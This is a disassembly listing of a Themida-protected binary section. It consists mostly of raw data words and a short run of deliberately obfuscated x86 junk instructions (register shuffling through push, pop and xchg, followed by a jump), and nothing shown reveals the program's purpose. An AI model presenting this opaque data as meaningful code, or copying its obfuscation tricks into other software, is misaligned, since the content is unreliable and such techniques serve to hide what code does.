		dd 9E38DF3Ch, 1D66E2FDh, 0B8E4F603h, 5596AF9Fh,	0B82E61D9h
		dd 0E07B459h, 0E8C1615Fh, 9958904h, 66063725h, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0B658C2C3h, 0BC7346F4h, 7D9D89C7h, 2B063729h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 46A57C41h, 9190C682h, 25C5BD2Bh, 6A580637h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 3A5CC356h, 0F1994CD0h, 0CCBC4AF6h, 1AC1BD33h, 0D82B0637h
		dd 0FC880Fh, 8B660000h,	0BDBD0BF7h, 0B906372Dh,	7, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 99C35040h, 0C22B18BEh
		dd 0C183E0h, 0FC47C781h, 0D93B6FC4h, 0BC860Fh, 8B660000h
		dd 0D98C66F9h, 1B850Fh,	0E8560000h, 13h, 8E138B04h, 763CB55Ch
		dd 415F3919h, 0B7FBCC80h, 5F1AA4F1h, 4C1F65Fh, 7F840Fh
		dd 8E0F0000h, 0
		dd 58995FFh, 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0E66517C3h, 3079BD23h, 5E500637h
		dd 50006A5Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0C32BF833h, 1D8D8B60h, 0E9063720h, 5, 46412D0Eh
		dd 343D61E6h, 0F000008h, 1086h,	39BD8B00h, 0E9063710h
		dd 12h,	0A4DE8166h, 66C08BD7h, 4E42EE81h, 13D1B58Bh, 0C38B0637h
		dd 85C7D88Bh, 6372DC1h,	1B046F9Dh, 2D4DB58Bh, 0C08B0637h
		dd 115DB529h, 0BD810637h, 6370199h, 7D0h, 52850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0ED8F90C3h, 0F36A82C2h, 0BD89F98Bh, 6371AA5h, 19985FFh
		dd 6A0637h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0BE79F3C3h, 7F8A9005h, 199B5FFh, 0C0BF0637h
		dd 0FF6466ACh, 37321995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 5EB6E2EDh
		dd 9589B7B4h, 6371389h,	4B28BE66h, 95BD8B90h, 89063729h
		dd 371E919Dh, 8B66F806h, 53006AFAh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8B666362h, 56006AFBh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0ECDF504Ch, 25AEA67Ch, 0B70FBD3Eh, 0EE8F3h, 1E1E0000h
		dd 0BF434D75h, 70D53475h, 0E6D4FABAh, 60FB8B66h, 8E8h
		dd 77FAAF00h, 0F6950D6Eh, 5B515816h, 346D03BAh,	0C2B70F19h
		dd 6A5E61h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 28D4D4C3h, 973F7317h, 1DA59D89h, 85890637h
		dd 6372541h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0C1C35040h, 147CDACEh, 0DEA475AFh, 1395BD89h, 0BD030637h
		dd 6372F1Dh, 1EB1BD8Bh,	6A0637h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 407C46C3h, 2B51E216h
		dd 0E9746F35h, 0FFFFF8A1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0EFC35545h, 0F03F36D2h, 0A1895216h, 2501B531h
		dd 0BF0F0637h, 0F6060F7h, 682h,	218D3300h, 0E9063722h
		dd 0Dh,	0C32D70FEh, 71D9858Ch, 91977F44h, 0FEB9612Fh, 6AFFFFFFh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 3D72C352h, 0DD662223h, 1C8D8D21h,	0BF0F0637h
		dd 0B58D21D0h, 0E9063706h, 10h,	0AC7DD10h, 7CC94F3Bh, 0EF44E1EDh
		dd 0D5D6B7FAh, 1C8D8D8Bh, 0B5090637h, 637293Dh,	83D0B70Fh
		dd 850F01E1h, 19h, 31C18589h, 7E80637h,	0BF000000h, 4FBCBB4Ah
		dd 950135C0h, 63730D9h,	0B58D8B5Ah, 6A063706h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0DEEDC357h, 76958D37h, 0C8804040h, 0DA8B665Eh, 0F01E183h
		dd 3285h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0B1E03F26h, 8E9h,	0A77BBA00h, 0C7C1FDB7h
		dd 419523BEh, 6106372Fh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0EE9EAh, 1DEE0000h, 69247F1Bh
		dd 36AA0F6Eh, 0A5112F47h, 0FFFFFEB9h, 51006AFFh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0F7F14839h, 7B87037Ch, 211DBF32h, 8D210637h,	63728A1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 18C35040h
		dd 2BBBB46Dh, 21567019h, 372E9D8Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8BB2F2A7h
		dd 3728A18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 1E183DEh,	22850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0DB8147C3h, 203749F2h, 2E9D8D8Bh, 6A0637h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0ECD13BC3h
		dd 9D29F46Eh, 6370A95h,	1E198589h, 0E1830637h, 15850F01h
		dd 0E9000000h, 0Eh, 0FBB30C7Bh,	0E9B35A4Ch, 8727622Dh
		dd 88B6D12Fh, 6A6061h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 1D8651C3h, 0A5D089E3h, 8975F652h
		dd 3722CD8Dh, 0FFFEB906h, 9D8BFFFFh, 63705F5h, 48D0Fh
		dd 0BA660000h, 8D213410h, 6372F29h, 0ECC08166h,	598D2144h
		dd 6A06371Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0CC49C352h, 8B64E5D2h,	372F298Dh
		dd 8D858906h, 60063713h, 16840Fh, 10E80000h, 5000000h
		dd 4499D95Dh, 0AFEF5FE7h, 8D77AFA6h, 5FE6CE55h,	1ECD8D89h
		dd 83610637h, 850F01E1h, 0Ch, 68E0Fh, 8D090000h, 6372521h
		dd 1B598D8Bh, 0CE90637h, 9B000000h, 96711B1Fh, 78D93A77h
		dd 8363EF23h, 850F01E1h, 1Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 23C35545h, 81666061h, 0B9091CD7h
		dd 0FFFFFFFEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0DFC35343h, 5BF08A50h, 2DC18D21h, 0F560637h, 18Dh
		dd 2158F900h, 3731E18Dh, 0DE806h, 60A0000h, 0F0B9F112h
		dd 2EBBCCC0h, 605C94B1h, 11E9h,	0BCA62A00h, 1F546308h
		dd 5601845Ah, 7F269DD8h, 958B8019h, 63721DDh, 8D8B5B61h
		dd 6372DC1h, 0E1832EB2h, 5850F01h, 0BE000000h, 0A669B7Eh
		dd 31E18D8Bh, 6A0637h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 6C88C6C3h, 26FFB6A5h, 0B70F4449h
		dd 0BF6660C0h, 8589C81Ah, 6371E99h, 1E18361h, 29850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0FC920AC3h, 0E22BF8DFh, 0F59D09F5h, 6106370Ch
		dd 50006A60h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 8C2433Ah, 0F86549B9h, 19985C7h, 7D00637h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 53EE07C3h, 0E8FFD898h, 0CE8B6FC2h, 52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 6107EBFFh, 0E99Dh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 9F32B0C3h, 90BA66B9h
		dd 6AF28Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 3F942AC3h, 0BAC18Bh, 81F00E00h, 0EAh, 14C283F0h
		dd 0A319589h, 0EA830637h, 0F1858D14h, 50063B22h, 35FF64h
		dd 64000000h, 2589h, 0E80000h, 58000000h, 25C22Bh, 66FFFFF0h
		dd 5A4D3881h, 12850Fh, 0B70F0000h, 0D0033C50h, 45503A81h
		dd 840F0000h, 0Ah, 10002Dh, 0FFD9E900h,	0C88BFFFFh, 19698589h
		dd 40030637h, 50B70F3Ch, 81958906h, 8B063712h, 95895050h
		dd 6372EBDh, 0F805h, 0C508B00h
		dd 9589D103h, 6371E85h,	89085003h, 3709E195h, 58F6406h
		dd 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 370B95BDh, 840F0006h, 24h, 22B985C6h
		dd 68470637h, 0D49AA7D2h, 2339B5FFh, 858D0637h,	63A720Ah
		dd 6AD0FFh, 8589D0FFh, 6371BC5h, 0CE8D38Bh, 0DD000000h
		dd 40004E14h, 0E730496Ah, 0E94F4A3Bh, 0Bh, 0A48CC1Fh, 0B2C51CA6h
		dd 5B7043F0h, 11E8h, 53946E00h,	0B216101Eh, 0C68B2923h
		dd 4CFD58CFh, 6E88994h,	3A000000h, 0EA4BE503h, 5FE28AF1h
		dd 7CC3815Fh, 0B900005Dh, 5F36F585h, 0DE60E981h, 0F565F36h
		dd 38Eh, 0C18B6600h, 60338B5Fh,	84F37BBh, 0FE7CBA54h, 816174AFh
		dd 7476BFC6h, 0D8D0F01h, 60000000h, 0BDE8166h, 70C781B1h
		dd 613E9891h, 4E58EE81h, 8B6662F2h, 0DC681C3h, 0E807A34Ch
		dd 10h,	30A76E31h, 2E3EA4D5h, 0A15BE87Eh, 0C0F19B81h, 5876CC80h
		dd 2EB23389h, 0BCB4EB81h, 0EA810BFBh, 2EC7B7F1h, 0BCB0C381h
		dd 8F0F0BFBh, 15h, 0F890Fh, 0AE90000h, 0A4000000h, 3BA9904Eh
		dd 982D6FE4h, 1E98362h,	0FF77850Fh, 8166FFFFh, 0EBFFF2E0h
		dd 0B2CFBB04h, 506E97Ch, 0E42A0000h, 0A7F6B191h, 76C37E5Eh
		dd 45965131h, 13652000h, 7F45F0D0h, 462669BBh, 17F7408Bh
		dd 0E5C50C5Ch, 0B797DE2Ah, 18324D33h, 0CBE718E8h, 0FD4F8E9Eh
		dd 4A738FBAh, 0AE75BA0Bh, 0F8446994h, 0ABFDEAB1h, 0E1FB4A68h
		dd 6C69850h, 6E357ACBh,	0F7F11C54h, 849EEA29h, 8DB8F039h
		dd 0ED51C68h, 0A9A1BC0Eh, 3AE1230Ch, 0C97B3031h, 558DB453h
		dd 72B9052Ah, 266FBEABh, 0B7D5B15Fh, 9EBA0948h,	29430A53h
		dd 0E5102AF1h, 4D2D74C0h, 0DDFB4292h, 8255898Eh, 0FA25CC49h
		dd 0AEF54500h, 66AFFAE7h, 523E39Fh, 321259A9h, 1DE42B77h
		dd 23B30B54h, 0EC0AE4E1h, 290B86ABh, 9BFA36h, 4AC80000h
		dd 5F3BAAFBh, 8D9826BCh, 1731F83Bh, 617BC7ECh, 0CF96CE15h
		dd 2350BA06h, 62A195E1h, 91ACCA13h, 0E12350B9h,	0BBD9042Ah
		dd 28D55C9Dh, 0FAB3629h, 5D000000h, 5F8B6E0Eh, 4E9B2296h
		dd 0F0284209h, 0E5DA9C5h, 0C211FEC5h, 9101A896h, 0C0F8B53Ch
		dd 5EAAF9F9h, 5773A7A7h, 1A304B69h, 0C9E12358h,	25378A3h
		dd 2C509FBDh, 0FA6925DFh, 420950A0h, 0E4C5F028h, 0B0014036h
		dd 66B7A46Bh, 0A0BEE921h, 83D41382h, 5C77773Eh,	0E123156Eh
		dd 749FD7FDh, 0D7B7004Fh, 0A989D01Ch, 0C80B5DF7h, 7CC51401h
		dd 3079C8B5h, 0EA2F7C69h, 0C2E02E23h, 66847A39h, 9575B80Ah
		dd 25748EDAh, 0F0DDA4DCh, 82975EA3h, 0D84C0B5Ah, 29C4E03Dh
		dd 2F5A92D9h, 3284F311h, 23B33317h, 7F8AB0E1h, 0C26ED32h
		dd 96AD7E1h, 71163629h,	0E4000000h, 1C80B5Dh, 5EAFC714h
		dd 385219h, 91AF8B39h, 0C0A0E335h, 5270B305h, 4F667A03h
		dd 0D9F3BAFDh, 0A6E44ABEh, 5CAD9A7Bh, 0E5ACF544h, 0B7CC93CBh
		dd 207F408Fh, 712CB8B4h, 0FE18DF24h, 5F7D9BC6h,	2962231Eh
		dd 405D36h, 5D2B0000h, 5BAAC80Bh, 11FA9A0Fh, 37FB0AC7h
		dd 9B698CA7h, 39391A45h, 3A65A8FAh, 0B77EC515h,	0FA5674C2h
		dd 0D38565A8h, 0A1F20E5Dh, 945D245Ch, 0E123CCCBh, 0EB2C4A24h
		dd 36288C46h, 13Ah, 105D0800h, 0CB1704CBh, 4101BD84h, 527AC723h
		dd 315D31E4h, 0F8F32817h, 83D7DB08h, 4233134Bh,	91DB35EEh
		dd 3D48A142h, 0D79EE732h, 4C6785BDh, 0E75A2BFFh, 545606Ch
		dd 0E6E71432h, 0D4C188C0h, 0D81D6E88h, 0B905C0A0h, 96E2AB72h
		dd 2BE71432h, 150BFDDh,	7CA6EEEFh, 10356083h, 205F7DC4h
		dd 66608BCEh, 51185FABh, 0ACFE1864h, 36A5A269h,	5C97C7C6h
		dd 0BD0A154Dh, 0D0224078h, 14AB95B5h, 53056E7h,	24738324h
		dd 55A4F867h, 102B450Ch, 133E1D66h, 2F7BD7F5h, 0C96808E8h
		dd 0B73C6043h, 12Ah, 0F7571A69h, 0A8164C50h, 0D327617Dh
		dd 0A3C4DFFDh, 38E75AFAh, 125E4B12h, 0E430EBCBh, 9DE9D69Dh
		dd 0F8EE8F56h, 7E1C6BDAh, 18B16B77h, 1FB8C748h,	422E9A04h
		dd 5FA6F217h, 3552DF7Fh, 0E1303C60h, 0B65B40E2h, 215B86C5h
		dd 31h,	0DE27EFh, 0CD53C7E2h, 6A90E123h, 7BC00D4Ch, 0A4A66F50h
		dd 30E123CCh, 73BC4E6Ch, 0BE5C7795h, 50E123CDh,	517CBF11h
		dd 0B3705076h, 0AEh, 0FDD3275Bh, 0E4DBC4DFh, 0DA00E75Ah
		dd 93DA2613h, 65ACF8B3h, 314C9E9Eh, 0E714DB19h,	2AEB2E80h
		dd 89D8D904h, 90E714DAh, 92D92541h, 0B279B1CBh,	6A317AC5h
		dd 47D0EEAEh, 6CC8E634h, 8F9D920h, 0EDDDF8B4h, 7EE714DBh
		dd 0B9024D58h, 0F6116381h, 0E714DBD4h, 7935803Dh, 1BDCA000h
		dd 578FD622h, 0D7D9F42Ch, 8CE16993h, 66B29F66h,	0DC9C581Fh
		dd 0C5104FBEh, 0A2F6517Ch, 1156A7E6h, 2F8B202Ah, 659DC3E1h
		dd 0F0DAF547h, 29E12F8Bh, 0B4CE95DEh, 5F13EAF3h, 9656C6ECh
		dd 0E0FB335Eh, 0E752E1CCh, 116381A7h, 14F9D4F6h, 467197E7h
		dd 0D3279A4Ch, 51A0DFFDh, 0FC274108h, 0F087A9C4h, 365CE75Eh
		dd 0EF36826Fh, 0EE08540Fh, 7B955CA1h, 0B2B37C43h, 1E5D9696h
		dd 2715D928h, 0E5F0090Ch, 227E9CBAh, 0F4AF8FD6h, 0AD9A61A8h
		dd 9450175Ch, 0E5AB6D4h, 0AA5AA9C7h, 0C53A3D0h,	51102B45h
		dd 34F20D89h, 0E135CD07h, 7C2BCE7h, 0BEAD74BBh,	0Ch, 0CB1A2866h
		dd 0AD4F365h, 8BA7D290h, 0FDC4175Dh, 0B67DC410h, 6B3279C9h
		dd 23EA337Eh, 0DAA1E436h, 91589BEDh, 470E53A4h,	1C80D5Ah
		dd 0B57CC514h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	75D9h
		mov	[esp], ebp
		push	63B2433h
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ebp
		push	ebp
		mov	ebp, edx
		mov	[eax], ebp
		pop	ebp
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dw 0F2C1h
		dd 0D524ABDCh, 3B28C2B8h, 0FFC50306h, 1A3676E0h, 0FF33E81Ah
		dd 0F1F20329h, 9FB1D30Ch, 223EEC2Ah, 0F26D1040h, 5B3D5452h
		dd 0F07FCA5Bh, 2D277063h, 1A90190Dh, 8387634Bh,	0AFB5376Fh
		dd 0B406780Ch, 6740E110h, 0B8D5E948h, 0DDE7B344h, 0DB54267Fh
		dd 0D94EA536h, 9DE0E845h, 4D92871h
		db 66h
aFbDlJ		db '`fÁÚd‹Àj',0        ; DATA XREF: Themida_:0053E84Co
		db 53h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FBE1FD8h, 683h, 0B9BD8900h,	8906370Dh, 371779B5h, 29BD8306h
		dd 63719h, 0BD830975h, 6371FE1h, 50197400h, 0B8C08B53h
		dd 438h, 1B418589h, 9D8D0637h, 639B10Ch, 585BD3FFh, 1FE1BD83h
		dd 74000637h, 0B8535017h, 438h,	1B418589h, 9D8D0637h, 639ADFBh
		dd 585BD3FFh, 1BFD8589h, 8B0F0637h, 1Bh, 0FE8h,	5A951900h
		dd 34D64402h, 0D36C2E7Ch, 0E5E22247h, 880Fh, 8B5F0000h
		dd 6E9C0h, 0D3620000h, 0B3FAB37Dh, 861E8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 89CE8BD5h, 372DE185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 1BE8CFB7h, 6A000008h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0E89FC351h, 85891462h, 6371CB9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FC35545h, 173B728Fh
		dd 8915AA6Ch, 37232D95h, 7C8E806h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 92E6D3C3h
		dd 0B6B59EC0h, 8D0F4Fh,	89000000h, 37309D85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 4B4D8DFFh, 11E9h, 0B2446E00h, 0CA0A14F9h, 0E34262D6h
		dd 0C61E9144h, 39BF8624h, 0E8022359h, 75Ah, 13159D89h
		dd 85890637h, 637209Dh,	47E8F88Bh, 0F8000007h, 2ECD8589h
		dd 0B5890637h, 6372AF5h, 735E8h, 14F78100h, 89617C36h
		dd 37139D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 1E72695h,	557A8A57h, 701E8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 27E08h, 858FB8F4h, 4830Fh, 0B9660000h, 8589D803h, 6372025h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 21C35747h
		dd 4A19404h, 899BD8Bh, 0A3E80637h, 0B000006h, 3729F9B5h
		dd 0E1858906h, 6A06370Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 7E4CC353h, 74E9B87Eh
		dd 6FE87600h, 3000006h,	370441BDh, 0E1858906h, 6A06371Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 1C5CC357h, 7189829Bh, 0B4829C94h,	289DBD89h
		dd 33E80637h, 6A000006h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E907C350h,	13h, 0DC68C263h
		dd 52B1C439h, 5061236Ah, 9A3A6EDAh, 89A8DC29h, 37296185h
		dd 29B58B06h, 0E8063712h, 5EEh,	14E8h, 9530E700h, 3EAE31BBh
		dd 438DED70h, 64F45C7Fh, 0C4C406E4h, 61BD03D2h,	5E063707h
		dd 1BA58589h, 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0F49F97C3h, 359529F9h, 906370Ah
		dd 3722E995h, 0B9958906h, 0E8063712h, 592h, 860Fh, 89F90000h
		dd 37118985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0AEB50687h, 0F59360FAh, 55DE8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0E889CB83h, 0EFED6ABCh, 6810Fh, 0BD310000h, 6370BD1h
		dd 0A498589h, 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 7913FC3h, 267BDBBBh, 63BF66FDh
		dd 0F9B70FADh, 4F9E8h, 45BD3300h, 89063712h, 371C3985h
		dd 0E7E8FC06h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 8245C350h, 0BE983h
		dd 0DB6C0000h, 0CA28B11Ah, 0AE1985CCh, 59858996h, 6A063723h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 92C6C356h, 1F1D8AE0h, 56A73AADh, 0E85ED2B1h
		dd 486h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	8EC35747h, 129E67B4h, 4B08B4F9h, 7E80Fh, 0D57F0000h
		dd 0F81F8289h, 860F56EBh, 0
		dd 8589595Fh, 6371F2Dh,	14E8h, 11B79B00h, 0FBD8941Dh, 0E15A6A33h
		dd 0BCD6FC3Bh, 0F3A513D8h, 0E9BF669Bh, 0B05F15h, 0C6C78166h
		dd 0D8B60F73h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	7AC35646h, 0B1ADB47Ch, 0B59D89D9h, 0BA063712h
		dd 6, 6AC38BF9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 9963C352h, 6A04E8C1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0DCA1C357h, 0E2F76620h, 816656F8h, 5E6236E7h, 6E8D82Bh
		dd 0
		dd 0D28ED1CDh, 85B58BDFh, 5E06370Dh, 108A0F93h,	0E8000000h
		dd 0Ah,	6D439BCBh, 0EE143D7Dh, 505E45C2h, 8A0F5250h, 2
		dd 310F6160h, 12E8h, 0E4950B00h, 27A29551h, 5FC3C647h
		dd 67846EBh, 60506E10h,	585A5961h, 53006A93h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 6CC8F5F8h
		dd 95895EE5h, 6371F59h,	95FFCF8Bh, 6370589h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C5C35040h, 43BDC82Ch
		dd 5BC8B70Fh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	0D4C35141h, 8DF1A579h, 370B8195h, 13E806h, 16BF0000h
		dd 7D54C957h, 7AFB315Eh, 0B1ADB47Ch, 0D0EDC5D9h, 0D98166D9h
		dd 895E9C32h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 78A2CCB9h, 0F158D8Bh, 50520637h
		dd 59F2B70Fh, 442895Eh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0FBC35242h, 63047671h, 830F7130h, 6
		dd 0E2DFCE81h, 958D7AE3h, 63713B1h, 6B98B966h, 0BD291A89h
		dd 63707C5h, 6A044289h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0A304C357h,	0A5B529C9h
		dd 6606372Bh, 1201F681h, 21F5958Dh, 6A0637h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6674F2C3h
		dd 1A89CA8Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ch,	8BC35040h, 5290F1CBh, 74C00873h, 4418D89h, 42890637h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0B2DDDD36h, 66AB5278h, 89AB36B9h, 3710419Dh
		dd 0D958D06h, 6A06371Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0E180C357h,	8BC97D21h
		dd 6A1A89F1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0FF3FC356h, 4BE69A09h,	89F3BF0Fh
		dd 8D8B0442h, 63725F5h,	33519D89h, 958D0637h, 6371DF5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7EC35545h
		dd 1A89E3A8h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	82C35747h, 0F5CF5821h, 89F8B70Fh, 6A0442h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 231FF3C3h, 5EFC83C4h, 11B58B62h, 8D063711h, 370F1D95h
		dd 0D6816606h, 1A89442Ch, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 51C35040h, 81666431h,	894084E7h, 6A0442h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 92E6BC3h, 3719BDB5h,	0AD958D06h, 0F06371Ah, 38Eh, 0F98B6600h
		dd 8D891A89h, 63701C5h,	6A044289h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BCFC353h
		dd 3725BDBDh, 2D958D06h, 89063710h, 371A3185h, 0E91A8906h
		dd 13h,	0FAE468BAh, 50BA26DEh, 85232E9Dh, 0B1A486F6h, 898644B2h
		dd 0BD890442h, 637075Dh, 0CCE9h, 0D6816600h, 6A7341h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 7BC23CC3h, 10F0BEFh,	6A006AAFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3051C356h
		dd 0BC86BE5Fh, 1B800668h, 118B0Fh, 0CE90000h, 0AD000000h
		dd 0BD41592h, 0C44A2EF2h, 6A358A88h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 38F79D9Bh
		dd 0EED62EC6h, 6E8h
		db 0
byte_57FF8D	db 0C6h, 0D5h, 9Ah	; DATA XREF: Themida_:0053F4ECo
		dd 5F5AA0DAh, 222595FFh, 6A0637h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 6B1089C3h, 3C63B023h
		dd 0C3A8AC64h, 0DD88CBBEh, 6AC58A2Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 4EF0C351h
		dd 9E9h, 6F941A00h, 24E5921Dh, 0C08B825Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9EC35040h, 880F60E4h
		dd 12h,	0CE8h, 42F5EA00h, 0D173F1ECh, 0F78B0874h, 0B2575B66h
		dd 83615985h, 371929BDh, 9750006h, 1FE1BD83h, 74000637h
		dd 8B535019h, 438B8C0h,	85890000h, 6372A05h, 0B1739D8Dh
		dd 0D3FF0639h, 0BD83585Bh, 6371FE1h, 50177400h,	438B853h
		dd 85890000h, 6372A05h,	0AE149D8Dh, 0D3FF0639h,	6A585Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E960B4C3h, 0Bh, 0D92F9F38h,	40FF405Bh, 8B5C1933h, 371C7DBDh
		dd 8DC08B06h, 37088585h, 8C0F6006h, 6, 1DE1B58Bh, 90610637h
		dd 0E9565250h, 0Dh, 0CFE49B8Eh,	0DDC06716h, 0C513F8F7h
		dd 310F5F4Fh, 0BA7DB460h, 613DA53Dh, 50585A61h,	0DAE0BF66h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
